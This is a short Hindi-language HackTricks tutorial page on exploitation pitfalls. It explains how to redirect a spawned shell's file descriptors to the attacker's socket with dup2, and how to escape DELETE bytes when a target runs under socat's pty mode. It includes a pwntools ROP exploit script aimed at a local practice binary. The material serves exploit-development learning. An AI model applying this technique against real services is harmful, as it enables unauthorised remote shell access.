सामान्य शोषण समस्याएँ

Reading time: 2 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

दूरस्थ शोषण में FDs

जब एक दूरस्थ सर्वर को एक शोषण भेजा जाता है जो system('/bin/sh') को कॉल करता है, उदाहरण के लिए, यह सर्वर प्रक्रिया में निष्पादित होगा, और /bin/sh stdin (FD: 0) से इनपुट की अपेक्षा करेगा और stdout और stderr (FDs 1 और 2) में आउटपुट प्रिंट करेगा। इसलिए हमलावर शेल के साथ इंटरैक्ट नहीं कर पाएगा।

इसका एक समाधान यह है कि मान लिया जाए कि जब सर्वर शुरू हुआ, तो उसने FD संख्या 3 (सुनने के लिए) बनाई और फिर, आपका कनेक्शन FD संख्या 4 में होगा। इसलिए, यह संभव है कि syscall dup2 का उपयोग करके stdin (FD 0) और stdout (FD 1) को FD 4 (हमलावर के कनेक्शन वाला) में डुप्लिकेट किया जाए ताकि यह शेल से संपर्क करना संभव हो सके जब इसे निष्पादित किया जाए।

यहाँ से शोषण उदाहरण:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

ध्यान दें कि socat पहले से ही stdin और stdout को सॉकेट पर स्थानांतरित करता है। हालाँकि, pty मोड DELETE वर्णों को शामिल करता है। इसलिए, यदि आप \x7f ( DELETE -) भेजते हैं, तो यह आपके एक्सप्लॉइट के पिछले वर्ण को हटा देगा

इससे बचने के लिए escape character \x16 को भेजे गए किसी भी \x7f से पहले जोड़ा जाना चाहिए।

यहाँ आप इस व्यवहार का एक उदाहरण पा सकते हैं

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें